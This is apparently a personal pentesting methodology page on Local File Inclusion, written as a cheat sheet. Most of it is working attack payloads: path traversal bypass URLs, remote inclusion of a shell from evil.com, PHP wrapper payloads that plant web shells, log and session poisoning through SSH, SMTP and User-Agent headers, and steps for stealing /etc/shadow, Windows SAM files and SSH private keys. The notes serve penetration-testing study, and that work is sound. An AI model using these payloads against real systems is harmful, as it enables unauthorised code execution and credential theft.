# Local File Inclusion

### Fuzzing with wfuzz

{% embed url="<https://www.hackingarticles.in/a-detailed-guide-on-wfuzz/>" %}

The key is taking a look at unusual responses and filtering them using `-hh`, for example in this case most responses had a character count of around 300 characters on average, so whenever one would pop up that had 13000 it meant that the content was being displayed.&#x20;

This also gives us a hint on how the Local FIle Inclusion is working. &#x20;

#### Windows

{% embed url="<https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e>" %}

Reference this list for LFI so we can get creds for other services around.&#x20;

```
wfuzz -w /usr/share/wordlists/wfuzz/vulns/lfi-windows.txt -u http://192.168.242.53:8080/site/index.php\?page\=FUZZ
```

#### Linux

```
wfuzz -w /usr/share/wordlists/wfuzz/vulns/lfi-linux.txt -u http://192.168.242.53:8080/site/index.php\?page\=FUZZ
```

The guide above should help you depending on how the website reacts.&#x20;

Look for files associated with other services around that could give you access.

* [ ] /etc/passwd and /etc/shadow
* [ ] /home/user/ssh/id\_rsa and change persmissions and ssh
* [ ] Look at services around for example filezilla stores creds for the server ftp server in cleartext.

#### LFI + TOMCAT&#x20;

Look at the version of tomcat and depending on its version we can gather credentials for the manager site and gain rce by uploading a war file.&#x20;

![](/files/ZLDiDb0eihun4Ehb3zNe)

By transversing to: /usr/share/**tomcat9**/etc/tomcat-users.xml

We were able to gather credentials.&#x20;

#### LFI + Redis&#x20;

{% embed url="<https://lyethar.gitbook.io/methodology/welcome/exploitation/vulnerable-services/redis-exploitation>" %}

Try to enumerate where we can load files using redis, make a php reverse shell or any sort of code and we can easily use lfi to execute the code we wrote.

#### LFI + Filezilla&#x20;

Using the reference list above we can gather credentials for the Filezilla FTP server.&#x20;

### Bypassing Tricks

```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```

#### Null byte

This was patched since PHP 5.4

```
http://example.com/index.php?page=http://evil.com/shell.txt%00
```

#### Double encoding

```
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```

#### From existing folder

```
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```

#### Wrapper php\://filter

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

### RCE Methods&#x20;

#### PHP Wrappers

**Wrapper input://**

```
curl -k -v "http://example.com/index.php?page=php://input" --data "<?php echo shell_exec('id'); ?>"
```

Since we have code execution all we have to do is make sure that we get a reverse shell using different payloads from Payloads of All things.&#x20;

#### Wrapper data://

```
echo '<?php phpinfo(); ?>' | base64 -w0 -> PD9waHAgcGhwaW5mbygpOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pgo=

Or 
menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
If code execution, you should see phpinfo(), go to the disable_functions and craft a payload with functions which aren't disable.

Code execution with 
	- exec
	- shell_exec
	- system
	- passthru
	- popen

# Exemple
echo '<?php passthru($_GET["cmd"]);echo "Shell done !"; ?>' | base64 -w0 -> PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

If there is "Shell done !" on the webpage, then there is code execution and you can do things like :

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=&cmd=ls

http://example.com/index.php?page=expect://id
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

{% embed url="<https://www.youtube.com/watch?v=Jl36YdzKPz4>" %}

#### Wrapper Expect://&#x20;

```
http://example.com/index.php?page=expect://id

```

#### Wrapper zip\://

```
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

```
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```

#### RCE via SSH

Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.

```
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```

Then include the SSH log files inside the Web Application.

```
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```

### **Via** **vsftpd** ***logs***

The logs of this FTP server are stored in ***/var/log/vsftpd.log.*** If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI

![](/files/rOFEug3trr7kFudrONZ7)

#### RCE via Mail

First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.

```
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```

In some cases you can also send the email with the `mail` command line.

```
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```

![](/files/63GnUsYsIejQKOujSBU7)

#### RCE via Apache logs

Poison the User-Agent in access logs:

```
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

```
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```

```
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

HTTP/1.1 400 Bad Request
```

Reagardless we are still able to access the C:\xampp\apache\logs\access.log and execute the shell.

### LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into /var/lib/php5/sess\_\[PHPSESSID] or /var/lib/php/session/sess\_\[PHPSESSID] files

```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```

### LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

#### Windows version

First extract `sam` and `system` files.

```
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```

Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.

#### Linux version

First extract `/etc/shadow` files.

```
http://example.com/index.php?page=../../../../../../etc/shadow
```

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id\_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.

<details>

<summary>Examples of Local File Inclusion Exploitation </summary>

[https://app.gitbook.com/s/C01qT6YExS9JZIncykrV/exploitation](https://lyethar.gitbook.io/slort/exploitation) (Slort PG)

</details>

### Resources&#x20;

{% embed url="<https://book.hacktricks.xyz/pentesting-web/file-inclusion>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion>" %}

{% embed url="<https://guide.offsecnewbie.com/web>" %}

{% embed url="<https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html#local-file-inclusion--remote-file-inclusion---lfi--rfi>" %}


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